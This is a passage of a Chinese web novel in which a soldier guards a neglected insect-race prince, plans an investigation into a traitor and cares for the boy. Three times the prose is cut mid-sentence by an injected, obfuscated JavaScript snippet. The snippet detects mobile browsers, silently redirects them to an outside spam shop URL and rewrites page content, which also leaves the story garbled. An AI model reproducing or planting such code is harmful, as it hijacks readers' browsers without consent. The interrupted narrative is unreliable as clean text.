克莱感觉到那团温热的小身体靠了过来,没有说话,只是伸手将被子又往上拉了拉,盖住文森露在外面的肩膀。 “睡吧。”他说,声音很轻。 文森并不是听话的乖虫崽,他把手缩进被子里,但很快又伸出来一只,轻轻又悄悄,试探性地——搭在克莱的手臂上。 指尖微微蜷着,像是要确保般抓住克莱,让他真的在身边。 克莱没有抽手,任由他搭着,机器管家已经适时退出了房间,入夜后悠悠的静谧。 疲惫的小雄虫很快入了眠,但身旁的克莱始终是清醒的,作为A级军雌,他睡眠的时长很短,前线作战时连接一周不合眼是常有的事。 克莱让光脑将房间的光线稍稍再调暗了些,他的一只手给了文森,但还有另一只手和灵活的骨尾,足够他无声地拉开几个光屏,同时进行工作。 要做的事还有很多。 克莱一边整理思绪,在意识中的光脑界面勾画了关键虫和信息树状线索图,一边在浮动光屏虫网上,通过光脑搜索一切有关克耶尔少将和大皇子圣亚瑟殿下的信息。 细想起来,文森的年纪不大,这取血每隔几年的隔间不会太长,总共的数次应该在2-3次,而这其中有几个疑点,值得特别注意。 第一,克耶尔少将和大皇子显然不是第一次和沙聂虫族勾结,他们应该之前也有过多次和沙聂虫族联系的经历,维里斯中尉也极有可能是惯犯,要抓住关键线索,克耶尔少将的光脑恐怕难以跟踪,不妨就从等级较低的维里斯中尉查起,最好是能追踪其光脑,想办法进入其精神海……这就需要帮手。 第二,沙聂虫族确实擅长附身异形或伪装,但克耶尔少将带着一个外虫进入皇廷,皇廷近卫军竟然没有一丝察觉,这就不免奇怪了……他们不理会文森莫名出现的伤口和试图的求救,到是不奇怪。 克莱的眼眸随之黯了黯,侧头看了一眼身旁睡熟的小雄虫,轻轻拢了拢他的被子。 第三,也是最重要的是,克耶尔和大皇子伙同沙聂虫族到底在密谋什么?!为什么每隔一段时间就需要文森的血?又为什么不惜通敌叛国也要与沙聂虫族合作?!有什么是身为圣聂特帝国的皇子无法得到的,必须通过沙聂虫族—— 克莱深深皱起眉,说起沙聂虫族这个战场上不死不休的敌对种族,他自然是有所了解的——大抵说来,有三样特别棘手的异能。 一是附身和伪装术,这可比克莱上一世听说过的民间传言的易容术要厉害的多。 二是秘术虫药,这种药能短时间内激发虫的潜能,改变虫的等级,但副作用极大,而且容易成瘾,不能断药。 三是繁殖力,沙聂虫族不是高智商的虫族,或者说有智商的高阶虫并不多,但架不住他们善于繁殖数量多,有军团里的老军雌告诉过克莱,沙聂虫族有特殊的生育秘法…… 克莱一边细细思索着,一边联系上了学长科赛特。 为了不吵到身旁睡熟的文森,克莱没有开视频通话,而是和科赛特在虫网加密私域文字对话。 【科赛特】:第一手热乎的消息,等你半天了!//[表情:焦急地拍动翅膀]在忙什么?军团区域网群那边的事吗? 【克莱】:差不多都解决了,抱歉让学长你久等了。你说,什么消息?//[表情:触角上加问号] 【科赛特】:你知道为什么卡林若会在群里发消息内涵我们吗? 【克莱】:为什么?//[表情:触角期待竖起] 【科赛特】:嘿嘿,有小道消息说,嘉奖仪式结束后,虫帝圣座让三皇子圣尤金殿下从今天的军雌里选雌君,但他死活闹着不选,后来圣座替他选了卡林若,他心里不乐意,说最起码等三年后再考虑履行婚约,三年后履不履行还要看他心情,总之是把卡林若气得够呛…… 克莱想起在殿上对他放下狠话的圣尤金,还有一贯就对他阴阳怪气的卡林若,只觉得一个两个都是麻烦,而且现在是麻烦加麻烦—— 他垂眸,轻轻叹了口气。 【克莱】:其实,他们俩挺般配的。(绝对出自真心,一对麻烦) 过了一会儿,科赛特的消息才发过来。 【科赛特】:呃……还有更小道的消息说,他其实想要的是你,只是听说,你别在意——三年后履行婚约也正常。大皇子殿下不也是多年前就定下婚约,今年年底才完婚嘛。 【克莱】:这么说来,大皇子殿下订婚很多年了? 克莱把话题转到了大皇子圣亚瑟的身上。 【科赛特】:可不是——大皇子殿下成年分化后,就和克耶尔定下了婚约,有七、八年了,听闻大皇子殿下身体一直不太好,时好时坏的,今年年底能不能完婚其实都不好说,唉,雄虫嘛,身体弱很正常。//[表情:虫虫超小声] 【克莱】:分化成A级雄虫,身体应该会强壮些吧?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478965|201638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 【科赛特】:那是对精神力的评级,身娇体弱都一样的——我雄父现在还经常平地摔。 科赛特和克莱私聊时,向来没什么顾忌。 克莱想象了一下,帝国枢机内阁大臣平地摔的样子。 【科赛特】:对了,你带回家的那只雄虫小皇子情况如何了?要是还没有缔结契约,再考虑一下吧。听学长一句劝,没必要为了一只F级雄虫,给自己打上那么个印记。 【克莱】:谢谢学长关心,他很好,真的。//[表情:触角拜谢] 【科赛特】:啊,看来你是不会听劝了! 科赛特发过来几个痛心疾首的表情,然后话题转回到了前线军事战况上。 科赛特和克莱一样,对于前线焦灼的战况很是忧心。 他本来在嘉奖仪式结束后就立马登上小型飞船,准备赶往矿区资源要地的前线,他不久前和克莱通话时,便是正在赶往前线的飞船上。 谁知飞船启航没多久,他被自己的雄父紧急召回,还透露给他小道消息,说是三皇子殿下对卡林若不满意,很可能让他回来当候补,科赛特原本懒得理会,候补怎么样都轮不上他这个用气味暗算三皇子的军雌,但随即他接到了里昂特元帅的密令。 【科赛特】:元帅让我暂时回主星协助你,但没有说具体的情况,想来——应该和你之前在军团区域网群让我找兄弟们发的信息有关。 克莱不由望着光屏了然一笑,父亲让学长过来相助,真是给了很大的助力,特别是对于内阁、皇廷,还有各路小道消息上。 【克莱】://[表情:虫掌相击],有劳学长。 【科赛特】:有需要随时叫我,虽说我更愿意去前线,听说这次的仗很难打…… 正因如此,才要尽快抓出叛徒! 克莱谢过了科赛特,这时,他感觉到手臂上那只小手忽然收紧了。 克莱不由侧头看去——文森还在睡,但眉头紧紧蹙着,睫毛急促地颤动,嘴唇微微张开,像是在说什么却发不出声音,他的手死死攥着克莱的袖口,指节泛白,整只虫蜷成了一团。 是做噩梦了吗? 克莱没有犹豫,他很自然地侧过身,一只手轻轻覆上文森后脑的红色卷发,将少年雄虫拢向自己的肩窝。另一只手隔着被子拍着他的背,一下一下,缓慢而有节奏。 ——上一世的经验,他也曾这样照顾过年幼时做噩梦的小皇子。 文森的身体还在微微发抖,但渐渐地,他攥着克莱袖口的手指松开了,原本紧紧埋入克莱睡衣里的脸露了出来,克莱发现文森身体正在发热,身上突然间流了不少汗。 就在文森露出脸的同时,一道紫金色的纹路出现在他额间—— 是虫纹?! 克莱不由轻轻抱住文森,帮他温柔地擦去汗珠,仔细端详。 虽然还很淡,没有长全,但确实是虫纹。 少年雄虫正在步入成年期,而一旦形成完整的虫纹,他将迎来二次分化。 17. 第十七章 帮手 开始步入成年期的小雄虫会变得嗜睡,往往还会出现发热、暴汗,这是正常现象——这是雄虫成长的过程。 所以直到第二天中午,文森还在睡梦中,克莱并没有叫醒他。 机器管家亦被下达了不许打扰的命令,于是十分安静地在房外候命。 克莱在天亮前小憩了一会儿,他醒来后帮文森擦了擦身上的汗,然后悄然起身,文森的手不知何时又轻轻拽住了克莱的衣角。 克莱小心翼翼抬起他的手,留意着不惊扰到他的小殿下,然后温柔地抽离…… 睡梦中的少年雄虫微微皱了皱眉,继续沉入到了梦境,他额间的虫纹如同紫金色的细藤蔓,无声地生长,一夜间竟已有了清晰的大致轮廓。 按理说雄虫从开始长虫纹到虫纹完整长成定型,通常需要一年,甚至两年的时间,而文森的虫纹的生长未免太过迅速了些。 克莱不禁想起昨日契约缔结时,忽然出现涌入他精神海的那股诡异又强大的精神力—— 克莱垂眸望向床上睡熟的雄虫,明明十八岁却一直迟迟没有分化,还有他身后怪异的尾根,类似古老图腾的印记,以及大皇子和沙特虫族为何会需要文森的血…… 敏锐如克莱能感觉到,这其中有着丝丝缕缕的关联,但他无法去预知,这对于文森到底是好事,还是坏事。 只是下意识地,克莱会选择为文森保守秘密。 这是一种出于本能的保护,毕竟,文森目前只是一只刚被赶出皇廷,看起来无权无势,从另一个层面说,也就是没有什么威胁性的F级小雄虫。 低调,往往是最好的伪装。 这个道理,克莱在上一世还是小太监时就懂得了,老太监说,弓打出头的鸟,年幼的小皇子对着书念着“木秀于林风必摧之”。 而于克莱而言,文森身上的秘密,他也并没有那么好奇,他只在意,自己的小殿下会不会因此,再次受到伤害。 清晨的阳光透过窗帘的缝隙,点点洒在少年雄虫缓缓舒展的眉间,那脸颊左右的黑斑好似一夜间也淡了不少。 既然离开了折磨他的皇廷,为何不能为他开启全新的,简单快乐平和的生活呢? 或许,我的能力要再强一些,我的等级再高一些,才可以更好的保护你—— 而不是若曾经那个死在皇宫阶前的太监,只能眼睁睁的…… 克莱轻轻抬手,帮还在熟睡的小雄虫把发丝拨到耳后,指尖擦过少年微微发热的耳廓,文森还闭着眼睛的睫毛颤了一下。 克莱先给光脑指令,让机器管家给文森准备好一顿丰盛的虫族午饭,然后他坐在了沙发边,一边持续关注矿区资源要地战场前线的战况,一边一刻不停地着手处理那似乎永远连绵不绝的邮件和公务。 与此同时,他估摸着身为皇廷近卫军长官的聂盖特起床的时间,拉开了另一个浮动光屏,登录了虫网的个虫联络终端“虫讯”的界面,在“虫讯”的常联系虫列表里找到了头上一对触角的熟悉头像,发送过去了加密留言—— “聂盖特叔叔,最近有空,方便我去您家拜访一下吗?昨天在皇廷麻烦您了,我在瓦利克星买了一些土特产,有你之前一直想要的骨蝶虫螺号角,刚好带给您。” 虫螺号角是一种类似高脚杯的器皿,收集各式各样的虫螺号角,是聂盖特的一大好爱。 很快,“虫讯”上“叮”的一响,熟悉的头像弹出一个+1的回复。 【聂盖特】:来呀,小克莱,就等你来呢,格勒弥刚好也在,这一次我们不醉不归呀! 克莱回复着,光脑在耳边忍不住小声说道:“虫主阁下,我会提前备好解酒虫药的。” 克莱微微抬眉,到不一定需要,他去拜访聂盖特,一来自是感谢,但更重要的是,他需要了解大皇子居所处皇廷近卫军的情况。 若是几天前,克耶尔少将曾带着沙聂虫族去过大皇子处,保不准会留有一些蛛丝马迹。而且时间这么短,克耶尔少将,还有那个沙聂虫族未必就已离开主星,甚至都未必离开了皇廷…… 而有些话,不适合在皇廷近卫军岗亭总控制室里聊。 和聂盖特约在了两天后,刚好休息日的中午,聂盖特的雄虫伴侣早逝,身边只有一个在皇廷当医生的亚雌孩子,叫格勒弥。 格勒弥在皇廷工作已有快五十年,是皇廷的高阶医师长—— 克莱觉得,对于身体一直不好的大皇子,他很有可能知道些什么。 和聂盖特有一搭没一搭的闲聊后,克莱又拉开了光屏上的“虫讯”界面,在搜索栏里输入了养父里昂特元帅给他的那个内阁首相长子的ID虫号。 光屏上弹出一个儒雅又帅气的头像,名字显示叫“迪欧特尔”,棕发蓝眸的成年雄虫,带着贵族与生俱来的傲然,毫不掩饰的耀眼和自信,额间的V型虫纹几乎可谓是亚林格首相家族的象征,圣聂特帝国的虫族历史上,曾出过多位带着V型虫纹因杰出的政绩而虫史留名的首相。 克莱刚发过去好友申请,对方几乎是光速通过。 【克莱】:您好—— 【迪欧特尔】:不用那么客气,克莱少将,我等你很久了。 迪欧特尔的回复非常快,克莱不由顿了顿,他想了想,父亲起初可能还是按相亲对象来安排,那如今他成为小皇子监护者的事,皇廷内大约都知晓了,内阁首相亚林格那边不可能没得到消息。 礼貌起见,自己应该先道个歉。 可克莱还在输入中,对方的信息已经来了。 【迪欧特尔】:你千万别和我道歉,我不接受的。 克莱在光屏上输入的手,停在半空。 【迪欧特尔】:开个玩笑别介意//[表情:虫虫微笑]。我的意思是,你又没做错什么,没必要向我道歉,你那么做一定有你的理由,F级雄虫当然也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478966|201638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有生存的权利,而且成为低等级雄虫的监护者是对《圣约莫新恒典》的坚守和维护。对于高等级的军雌少将,这明明是个难得又了不起的决定。 口才很好又带着阳光气息的雄子,克莱不由让光脑查了查这位首相家的长子。 迪欧特尔,A级雄子,曾任皇廷下属独立情报部副部长,现就职帝国法院,是最年轻的审判法官,这个就职路径,看来经后进入内阁接亚林格的班指日可待,他年长克莱两岁,被虫网誉为“智灵之辉”,在主星早已小有名气。 还被评为“最受欢迎和雌虫最想嫁贵族虫少”排名第一位。 不过这个排名往下有几位,克莱也认识,之前被迫应元帅要求,不得不加了联系方式,走一下相亲的过场,没有得罪虫家,也算是不错。 元帅介绍的,总不会差哪里去,但也是克莱实在没那方面的心思。 而克莱这一次想的,可能要多一点,毕竟,他现在需要帮手,帮忙追踪维里斯中尉的光脑,迪欧特尔既有独立情报部的追踪搜查经验,又在法院这边有根基—— 而且,元帅说过,首相亚林格可以信任,这件事务必隐秘行事,也不宜过多节外生枝让其他虫知晓。 那么,可以说,迪欧特尔是再适合不过的帮手。 说几句好听的话,总是一个不错的开始。 【克莱】:谢谢你的夸赞,你能这样认为,也很难得又了不起。 【迪欧特尔】:是吗?你用我的话来恭维我,不合适吧,克莱少将,这不像你会说的话。 克莱挑眉,他和迪欧特尔应该之前从没有见过,光脑也可以佐证,完全没有记录和印象。 【迪欧特尔】:我所知道的克莱少将,可是在格尔维战役中一虫当先,立下赫赫战功却从不引以为傲的优秀将领,还是每个月匿名捐十万星虫币,给帝国幼虫爱心组织的善心“无名虫”,他应该不会用客套恭维的话术,这么对待我。 克莱不免笑了,他知道对方的身份了。 在不缺钱后,克莱确实每个月都会匿名捐十万星虫币,给帝国幼虫爱心组织——爱心虫会,能知道他匿名身份的,应该只是这个组织的发起者,也是现任爱心虫会的会长。 克莱曾和爱心虫会的会长通过几次邮件,邮件里有简单聊到格尔维战役。 【克莱】:会长,不至于这样捉弄我吧? 【迪欧特尔】:呵,这么晚才联系我,现在才认出是我,克莱,知不知道,我注意你多久了……作为补偿,你是否应该主动给我打视频电话,来场正式的网友见面呢?! 克莱摇了摇头,文森还在睡眠中,视频电话会吵到他。 克莱正在光屏上打字拒绝,不经意地抬眸,却发现—— 一双碧绿的眼眸,正在光屏上方无声地瞪着自己。 不知何时醒来后站在光屏旁的少年雄虫,眼眸里很快闪过一丝凌冽的冷意。 18. 第十八章 等待 但只是一瞬,那冷意便消散了,取而代之的是一种克莱熟悉的,带着几分倔强的委屈。 “文森?”克莱抬眸,对挎着一张小脸的雄虫露出温和的笑,声音不自觉地放柔了,“什么时候醒的?” 文森没有回答。 他的目光从克莱脸上移开,落在光屏上,浮动光屏感应到他的存在,立马自动让开,他眼角的余光冷冷扫过光屏上显示的字迹,还有迪欧特尔帅气的“虫讯”头像。 紧接着,浮动光屏画面扭曲,出现嘈杂的光点——克莱回眸再看时,浮动光屏已经“嘶”一声消失掉,连带着光脑在意识里轻轻“唔”了一声,如同一种连接被强行断掉的声音。 怎么回事……?!克莱不由挑眉,移动终端好似忽然间罢了工。 而身旁的少年雄虫则走了过来,踌躇着抬手,无声地扯了扯克莱睡衣的衣角。 此时,克莱只以为刚睡醒又进入成年期的小雄虫饿了,直到后来和文森相处久了,克莱才逐渐察觉,只有当犯错时,别扭的少年雄虫才会悄然装作不经意地扯他的衣角。 克莱没有深究光屏忽然出现的故障,他让机器管家将准备好的午餐端了进来,一边给光脑命令,给爱心虫会会长迪欧特尔发去一条留言,抱歉忽然有点事,中断了“虫讯”对话,没能进行视频通话,自己晚些时候会联系他…… 这边,文森爬上了沙发,紧紧靠在克莱身旁,碧绿的眼眸望着他,紫金色的虫纹在阳光下别样耀眼。 “我,头疼。”又往克莱身边靠了靠,少年雄虫以自己的方式在笨拙的撒娇。 “嗯,你在长虫纹,这个过程中,会出现头疼的症状。”克莱看向少年的额间,恍然有种吾家有子长成的感慨,自己的殿下怎么不算是自己的孩子呢,“很快,你就会进入成年期。” 文森望着克莱的眼眸,他似乎并没有因为自己长出虫纹而表现得多开心,甚至连想看一看自己额间虫纹的兴趣都没有,而是认真地看着克莱,问道:“你希望,我进入成年期吗?” “这是每只虫成长的必然。”克莱说着,机器管家已经推着盛着各式各样食盘的推车走了过来,食盘里是丰盛的虫族食物。 虫族的食物大多黏黏的,有些还在蠕动着,或者紫红蓝绿交错的…… 文森吃东西从不挑食,机器管家端来的虫食,他会先看克莱一眼,然后在克莱的默许下,才开始大口大口地下咽,吃得津津有味,即使是最后碗里味道十分清淡的营养液。 克莱斜过头,微笑着看着少年雄虫鼓鼓的脸颊,狼吞虎咽的样子—— 虽然他对虫族的食物无感,但文森此刻的样子,这让他不由想起以前,带自己的老太监说过,能吃就能活,活着就有一切的可能,可能熬过严冬的鸟儿在春日里著窝绕梁,可能浣衣局最卑贱的小宫女不久后成为新晋的娘娘。 其实也不必就要变成新贵上位,熬过严冬,迎来属于自己新的窝槽,又何尝不是一种新生。 雄虫的红卷发散到了肩侧,克莱很自然地伸手,帮眼前的孩子将快垂到唇角的发丝拨到耳后,文森的耳朵尖立刻红了一下,嘴里咀嚼的动作停顿了一下,他侧眸看向身旁的军雌。 “慢点吃。”克莱对他温和地点了点头,心里想着,还是帮他将头发扎起来方便——那就应该再买几个流行的雄虫发夹。 “你……不吃吗?”碧绿的眼眸望着他,这是文森第二次问克莱这个问题。 克莱摇了摇头,但接着他忽然若有所思地顿了顿,低眉轻轻说道:“改天,我下厨做饭给你吃,好不好?” 前世的小太监年福,烧得一手好菜,还会蒸格式的糕点,特别是他做的桂花糕,甜而不腻,带着桂花的点点清香,连最挑剔的宠妃娘娘都赞不绝口—— 来到虫族后,成了军雌,忙忙碌碌,他自然不可能再做什么桂花糕。 但看着文森大口大口认真吃东西的模样……他忽然心思动了动。 文森的眼睛随之亮了,然后重重地点了点头。 克莱不由想,虫族会不会有食材可以用来做糕点,光脑立马出声道:“虫主阁下别担心,我这里有几万本虫族食谱大全,一定会找到让你满意的食谱!” 不过眼下,显然克莱有比做桂花糕更重要的事。 “文森,下午我要去一趟军部。”克莱说着,他起身,准备去隔间换套衣服,“你在家好好休息,有什么需要,随时告诉管家,我会在晚饭前回来。” 文森霍然抬起头,碧绿的眼眸看着克莱,然后低下头,放下手中碗盘里还没有吃完的虫食。 过了一会儿,少年雄虫才极不情愿般,轻轻“哦”了一声。 克莱抬手轻轻揉了揉文森的红色卷发,声音也放轻了:“我会尽早赶回来,要是觉得无聊,一楼有游戏室,连接着虫网的模拟游戏,二楼另一边有书房——里面有一些光屏少年文集,你可以挑些喜欢的。” 但文森只是兴趣缺缺地点了点头,不经意地躲过了克莱的手。 小雄虫的不开心,幽幽地写在了脸上。 但克莱理应先去一趟军部,他成为了F级雄子的监护者,三个月不能离开主星,按军团内部规定,他需要去附近的军部联络处进行报备。 克莱离开时,远远看到文森趴在二楼的窗台上,一直目送着自己离开—— 晶壳飞行器离开别墅大门时,红色的卷发在窗户内失落地垂下,就如同一只眼巴巴望着主人离开的弃犬。 军部联络处驻扎的虫不多,报备手续是自全动化,光脑对接,不到一刻钟便完成了。 但克莱花了不少时间查阅了近期主星军部联络处的报备记录——一个熟悉的名字立马引起了他的注意,维里斯中尉。 维里斯中尉几天前,因家中急事,离开耶梦德军团,回到主星,并请了一个月的假,报备在案。 但克莱仔仔细细看过,并没有几天前带着沙聂虫族出现在皇廷,对文森进行非虫折磨的克耶尔少将的任何记录。 要抓住克耶尔少将通敌的证据,果然还是要从维里斯中尉下手,他既然在主星,那追踪其光脑就更加容易。 回到停在军部联络处的飞行器内,克莱立即启动了舱内的封闭模式,然后他给久违的迪欧特尔打去了视频电话。 “你又让我等了好一阵,克莱。”光屏上,棕发蓝眸的帅气雄子露出略带不满的神色,但抑制不住微微上扬的嘴角,“想见你一面,这么难吗?” 克莱带着歉意地一笑:“会长,别调侃我,抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478967|201638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歉让你久等了。” “只是这样——一句道歉就没了?”迪欧特尔望向克莱的眼睛,说不清是玩笑,还是认真。 “下个月,我再多捐二十万。”克莱想了想。 “你捐的钱都是给贫困病弱、低等级的幼虫们的,那我呢?”迪欧特尔棕色短发带起一抹张扬。 克莱不想绕弯子,他微微一笑,说道:“你可以帮我一个忙,下周方便来我家一趟吗?” “啊?”能说会道的年轻审判法官迪欧特尔,不由一愣,俊朗的面颊浮现出淡淡的红色。 克莱接着说道:“我需要追踪一只军雌的光脑,麻烦可以借用一下会长的精神力吗?” 具体的,克莱打算当面再和迪欧特尔细说。 迪欧特尔到是没有推辞,他笑着说道:“作为爱心虫会的会长,见到有虫需要帮助,我当然乐意效劳。” 挂断视频通话后,克莱又拉开了光屏上的树状线索图进行标注,然后启动引擎。 飞行器穿过别墅大门时,天色已经偏西,克莱推开舱门。 他走到大门前,正准备进入,门却先一步从里面打开了——是机器管家。它的光屏上显示着一个“嘘”的表情,电子眼闪了闪,然后侧过身,让克莱看门内的景象。 克莱不由愣住了。 文森正坐在玄关的地板上,背靠着墙,红卷发散在肩侧,脑袋一点一点地往下垂,像是正在与困意做最后的斗争。他的膝盖上方是一个电子平板,平板已经自动熄灭。 他和之前一般赤着的脚,脚蜷在身下,脚趾微微蜷着,像是有些凉。额间的紫金色虫纹在门厅的灯光下泛着微光,纹路比早上又清晰了一些。 “文森阁下从您离开后就一直坐在那里,”机器管家轻声说,光屏上的表情从“嘘”变成了“无奈”,“我让他去玩会儿游戏,他不去,劝他去沙发上等,他又不肯。一定要在门口等,我把门关上了,怕他着凉。但他还是坐在这里……” 克莱没有说话,身后的骨尾无声地卷起。 他蹲下身,将自己的外套脱下来,轻轻披在文森肩上。 少年雄虫的身体微微抖了一下,睫毛动了动,但没有醒来。他的手指动了动,像是在梦里抓住了什么——他无意识地把脸往克莱的方向偏了偏,红卷发从肩上滑落,露出半边带着黑斑的脸。 克莱看着那张睡脸—— 然后他伸出手,将文森膝盖上那本已经熄屏的电子平板拿开,一手揽住少年雄虫的背,一手托住他的膝弯,将他整只虫轻柔又稳稳地抱了起来。 文森的脑袋自然地靠上了克莱的肩窝,他在梦里含糊地嘟囔了一声,像是说了什么,又像只是无意义的呓语,但仔细听,似乎是在叫克莱的名字。 克莱抱着他穿过走廊,走向卧室。 机器管家安静地跟在后面,光屏上显示着一个“终于放心了”的笑脸。 “他吃过晚饭了吗?”克莱边走边问。 “没有。文森阁下说……等您回来,一起吃。” 克莱的脚步微微顿了一下,然后继续往前走。 “现在去准备——”他忽然顿了顿,接着说道,“准备食材和菜谱,我亲自下厨。” “遵命,虫主阁下。” 19. 第十九章 秘密 第一次亲自下厨的结果是,文森从此对非克莱做的虫食,都没有了以前的热情。 直白点讲,他变挑剔了。 每到饭点,文森便开始期待克莱能亲自下厨做饭,克莱到也无所谓,只要有时间,他很乐意将小雄虫喂养的更壮实些—— 现在的文森,还是过于瘦弱了。 与此同时,进入成年期后,文森越来越嗜睡,像这般等着克莱,忽而入睡的情况,时有发生。 但只要醒来,他一定会黏着克莱。 克莱走到哪里,他就像小尾巴一样跟到哪里,克莱在隔间或是书房里办公,他就会让机器管家将椅子搬到离克莱最近或是能看清克莱的位置,一双碧绿如翡翠的眼眸,安静地望着他,不久就在椅子上睡着了。 而只要克莱外出,明明已经逐渐成年的雄虫,立马化身可怜巴巴被无辜遗弃的虫崽宝宝,他不哭也不闹,就站在大门前,倚在玄关阴影处,露出半边身子,瞪着碧幽幽的大眼睛,眼巴巴地望着,望着。 让克莱莫名生出一股的愧疚感,所以,休息日和聂盖特相约的聚会,克莱将文森一起带上了。 克莱提前通过光脑发了信息给聂盖特,过了一会儿,聂盖特发来回复说道:“总不能让四皇子殿下一只幼虫在你那空荡荡,又没什么摆设的大房子里呆着吧,一起来吧,早预着呢,我家里有专门的亚雌保姆,带大过格勒弥,可比你那台机器专业多了。” 心念感激的克莱,特意从别墅的地下室里拿出了两瓶自己特制的果酒—— 虫族的酒,总喜掺杂不明粘液或是褪下的虫壳、残缺掉落的虫脚,味道对于一个曾经的人类来说,不免有些怪怪的。 克莱在成年后,便开始学着自己酿酒,他发现虫蜜果风干后加入一些虫族的风香草,把别墅的地下室当场地窖,酿制出的酒,类似前世喝过的梅子酒。 但也只是类似,似乎还总缺点什么,以致没有办法真若他曾在大绕皇宫里尝过的梅子酒,那般酸甜可口,味道顺柔。 不过,这对于虫族爱好喝酒的虫们,已经是不可多得的佳酿了。 这一次外出,文森不再别扭地坐在飞行器的后排,他很自然地坐在前排的副驾上。 他身穿一套崭新的少年休闲西服套装——衣服是克莱帮他选的,漂亮的深绿色雄虫小马甲和做工精细的休闲西装裤,配着仔细梳理后,被一个酷炫的QV高奢绿宝石甲虫发夹认真且细致地扣住的蓬松红色卷发,透出少年质感的高贵和一丝藏锋于匣的锐气。 当然,头发也是克莱替他整理后挽起的,这是小太监必备的手艺活。 小西服衬衣袖口的袖扣是克莱一早就买好的通讯移动终端,移动终端内目前只有克莱的联系方式,直接和克莱的光脑相连。 文森手里还抱着一个用来看文的电子平板—— 克莱很快就发现,文森很喜欢看虫网上书和文字资料,几乎什么文字都看,不过比起少年雄虫青春疼痛文学,他更偏爱虫族的史载文献,还有战争纪要,虫网上每日更新的头条新闻,他也看得津津有味。 于是,克莱将光脑能找到的有关圣聂特帝国所有的史记,以及各大星系,过往星际联邦大国的史料和野史,都收集并传导到了文森的移动终端,同步平板,这样他就可以在无聊时看书解闷。 克莱能隐约感觉得出,文森学习能力极强,这一点上,到是完全不像一只F级的废雄虫。 而且,在皇廷时,他每一天都活在如何逃脱被霸凌的阴影里,虫帝圣座应该是没有像其他几个皇子那般,给他请过亚雌老师,所以虫族文字,他应该是自学的。 但说他极度聪慧懂事吧,文森晚上黏着自己,委屈巴巴赖着不走要一起睡时候的样子,又实在像个耍赖的稚童—— 克莱只能将其归结为,受成年期即将二次分化的影响,精神力不稳定。 聂盖特的住所离克莱有所距离,他所在的格尼奥斯家族是古老而庞大的虫系种族,如今他住在离皇廷不远的贵族老钱庄园区。 当聂盖特在门前,第一眼看到跟着克莱跳下飞行器,全身仿佛焕然一新的文森,差点没有认出来—— 这居然是曾经那个一年无论哪个季节都一身破旧带着血迹的长袍,一脸黑斑又丑又脏,终日躲躲藏藏,不是被二皇子殿下嘲讽,就是被三皇子殿下殴打的文森小殿下?! 聂盖特头上的一对触角悠悠地摆动,他很想问问克莱,他到底是如何在短短几天内,能做到连文森脸上的黑斑都看起来不仅变淡顺眼,甚至俊秀贵气了呢?! 聂盖特不由和身后的亚雌儿子格勒弥交换了一下眼神。 格勒弥一对触角会稍短一些,他有一双深黄且睿智的眼眸,此时他了然一笑,附在雌父耳边说道:“谁让他的监护者是克莱,这就不奇怪了,只能说,四皇子殿下,运气还是有的。” 文森见到聂盖特和格勒弥,一开始还略显拘谨。 克莱将两瓶自制的果酒和从瓦利克星买来的骨蝶虫螺号角递给聂盖特,看到果酒的老聂盖特眼睛都直了,不由笑逐颜开招呼克莱和文森小殿下进门,完全没有了在皇廷时作为近卫军长官的严肃和紧绷。 格勒弥也上前对四皇子殿下简单行礼,然后和克莱寒暄起来,此时跟在克莱身后的文森,也就渐渐无声地融入了。 聂盖特的古老庄园里,餐桌也是贵族西式的长方桌,出于礼节,聂盖特邀请身为四皇子殿下监护者的克莱坐主位,自然被克莱婉拒了。 但无论克莱坐在哪里,文森都一定要坐在克莱的身边,紧紧地挨着自己的监护者,即使育养幼虫经验丰富的亚雌保姆来劝哄,在文森身上也没有一点作用。 不过,等到进餐时,没一会儿功夫,文森就开始犯困了,可即使困顿,他还是不愿意离开克莱,克莱在他身边轻声安抚,等他睡着后,让亚雌保姆和几个雌仆带他到一旁休息。 “四皇子殿下很依赖你呀。”格弥勒看着不停叮嘱雌仆小心些扶住文森的克莱,说道,“看他额间,是开始长虫纹了吗?” 克莱点了点头,说:“我们缔结监护契约后不久,殿下开始进入成年期,我觉得是受到契约的影响,说到依赖,应该也是这个原因。” 主位上的聂盖特触角微动,他又喝了一大口酒,然后说道:“小克莱是A级军雌,缔结契约信息素互融,对于低等级的雄虫具有引导和催化的作用,促使四皇子殿下进入成年期,也是好事。只是苦了克莱,要在主星滞留三个月,听说矿区前线这一次战况不是很乐观。” 